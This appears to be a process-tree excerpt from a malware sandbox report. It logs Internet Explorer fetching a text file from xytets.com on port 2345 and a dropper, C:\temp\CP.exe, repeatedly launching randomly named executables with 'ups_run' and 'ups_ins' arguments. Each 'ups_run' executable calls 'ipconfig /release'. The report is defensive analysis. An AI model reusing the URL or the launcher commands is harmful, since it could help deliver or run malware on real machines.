      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3592,i,18136940597552456211,16220229015050831370,2097152 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3604,i,2855635442393908810,17219283736450375097,2097152 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
      4⤵
      PID:4344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4268,i,13559591376613727887,1988536156783011783,2097152 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:1
      4⤵
      PID:252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=2728,i,11233920847545373529,12565544396827690367,2097152 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:1
      4⤵
      PID:3304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4280,i,11713209438943090401,14912491452544531380,2097152 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:9
      4⤵
      PID:2924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,3711514524201231796,3490362453617661782,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
      4⤵
      PID:4328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,15428412609134929314,5198494184978021805,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:14
      4⤵
      PID:4524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5572,i,15879631307370660930,17973284006899020843,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
      4⤵
      PID:3524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,12606242097136059527,6383535396677097294,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
      4⤵
      PID:6068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,12606242097136059527,6383535396677097294,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
      4⤵
      PID:2804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,2528471806113571416,15369961454522090910,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:14
      4⤵
      PID:1204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,12488099654264095937,12457096598834175530,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:14
      4⤵
      PID:2964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4464,i,12230841637081193910,3662149031778151261,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:14
      4⤵
      PID:3900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,2001627942492667890,2885871495687641252,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4492,i,719463054726982021,2419830920360207586,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:14
      4⤵
      PID:3632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,227396582216006466,17474691652389249256,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:14
      4⤵
      PID:5524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,17852837551230217180,1549091982358190325,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:14
      4⤵
      PID:5960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4864,i,16826905913337683605,9382863590366953044,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=908 /prefetch:14
      4⤵
      PID:4556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,2185447523484466835,14631640366333404302,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:14
      4⤵
      PID:1536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2680,i,5859057588333878896,2206993144036201335,262144 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:10
      4⤵
      PID:2712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5964,i,833531848133555209,14076304417050253996,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
      4⤵
      PID:5368
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:5520
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfzxsnhcx.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2616
- - C:\Temp\mkfzxsnhcx.exe
    C:\Temp\mkfzxsnhcx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1088
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkfzxsnhcx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4624
- - C:\Temp\i_mkfzxsnhcx.exe
    C:\Temp\i_mkfzxsnhcx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4160
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfcxjhfzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1320
- - C:\Temp\mkfcxjhfzx.exe
    C:\Temp\mkfcxjhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4116
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1556
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkfcxjhfzx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1740
- - C:\Temp\i_mkfcxjhfzx.exe
    C:\Temp\i_mkfcxjhfzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3744
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\urpjhbzxrp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3884
- - C:\Temp\urpjhbzxrp.exe
    C:\Temp\urpjhbzxrp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2520
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4224
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_urpjhbzxrp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5704
- - C:\Temp\i_urpjhbzxrp.exe
    C:\Temp\i_urpjhbzxrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhbztromge.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4996
- - C:\Temp\jhbztromge.exe
    C:\Temp\jhbztromge.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2052
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhbztromge.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4160
- - C:\Temp\i_jhbztromge.exe
    C:\Temp\i_jhbztromge.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dbztrljgby.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4464
- - C:\Temp\dbztrljgby.exe
    C:\Temp\dbztrljgby.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4852
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dbztrljgby.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:636
- - C:\Temp\i_dbztrljgby.exe
    C:\Temp\i_dbztrljgby.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jgbytigdbv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5888
- - C:\Temp\jgbytigdbv.exe
    C:\Temp\jgbytigdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jgbytigdbv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4640
- - C:\Temp\i_jgbytigdbv.exe
    C:\Temp\i_jgbytigdbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\daysqlfdyv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1660
- - C:\Temp\daysqlfdyv.exe
    C:\Temp\daysqlfdyv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3768
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3312
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_daysqlfdyv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:628
- - C:\Temp\i_daysqlfdyv.exe
    C:\Temp\i_daysqlfdyv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\davtnlfdxv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4808
- - C:\Temp\davtnlfdxv.exe
    C:\Temp\davtnlfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5356
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2084
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_davtnlfdxv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1436
- - C:\Temp\i_davtnlfdxv.exe
    C:\Temp\i_davtnlfdxv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:560
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnkfdxvp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:204
- - C:\Temp\avsnkfdxvp.exe
    C:\Temp\avsnkfdxvp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3180
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5348
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnkfdxvp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1764
- - C:\Temp\i_avsnkfdxvp.exe
    C:\Temp\i_avsnkfdxvp.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5848
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axspkicxup.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1664
- - C:\Temp\axspkicxup.exe
    C:\Temp\axspkicxup.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3928
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6096
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2404
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axspkicxup.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4328
- - C:\Temp\i_axspkicxup.exe
    C:\Temp\i_axspkicxup.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5208
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xusmkeczxu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1736
- - C:\Temp\xusmkeczxu.exe
    C:\Temp\xusmkeczxu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:560
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1260
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5828
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xusmkeczxu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5344
- - C:\Temp\i_xusmkeczxu.exe
    C:\Temp\i_xusmkeczxu.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrmjecw.exe ups_run
  2⤵
  PID:4960
- - C:\Temp\hbztrmjecw.exe
    C:\Temp\hbztrmjecw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4724
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4340
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrmjecw.exe ups_ins
  2⤵
  PID:5836
- - C:\Temp\i_hbztrmjecw.exe
    C:\Temp\i_hbztrmjecw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1364
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geywuomjeb.exe ups_run
  2⤵
  PID:3480
- - C:\Temp\geywuomjeb.exe
    C:\Temp\geywuomjeb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1296
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1108
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1976
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geywuomjeb.exe ups_ins
  2⤵
  PID:2868
- - C:\Temp\i_geywuomjeb.exe
    C:\Temp\i_geywuomjeb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5692
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojhbytrlj.exe ups_run
  2⤵
  PID:3184
- - C:\Temp\rojhbytrlj.exe
    C:\Temp\rojhbytrlj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5184
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3108
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojhbytrlj.exe ups_ins
  2⤵
  PID:4844
- - C:\Temp\i_rojhbytrlj.exe
    C:\Temp\i_rojhbytrlj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ytqljdbytr.exe ups_run
  2⤵
  PID:3032
- - C:\Temp\ytqljdbytr.exe
    C:\Temp\ytqljdbytr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5788
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4892
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ytqljdbytr.exe ups_ins
  2⤵
  PID:360
- - C:\Temp\i_ytqljdbytr.exe
    C:\Temp\i_ytqljdbytr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5924
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dxvqnligay.exe ups_run
  2⤵
  PID:5680
- - C:\Temp\dxvqnligay.exe
    C:\Temp\dxvqnligay.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1484
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1920
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2484
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dxvqnligay.exe ups_ins
  2⤵
  PID:2584
- - C:\Temp\i_dxvqnligay.exe
    C:\Temp\i_dxvqnligay.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vpnhfdxvpn.exe ups_run
  2⤵
  PID:2660
- - C:\Temp\vpnhfdxvpn.exe
    C:\Temp\vpnhfdxvpn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4556
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3704
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3956
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vpnhfdxvpn.exe ups_ins
  2⤵
  PID:5896
- - C:\Temp\i_vpnhfdxvpn.exe
    C:\Temp\i_vpnhfdxvpn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5492
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkicau.exe ups_run
  2⤵
  PID:4976
- - C:\Temp\faxsqkicau.exe
    C:\Temp\faxsqkicau.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5740
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2308
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4764
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkicau.exe ups_ins
  2⤵
  PID:2528
- - C:\Temp\i_faxsqkicau.exe
    C:\Temp\i_faxsqkicau.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\caxvpmhfca.exe ups_run
  2⤵
  PID:6108
- - C:\Temp\caxvpmhfca.exe
    C:\Temp\caxvpmhfca.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2708
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5964
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4704
- C:\temp\CP.exe
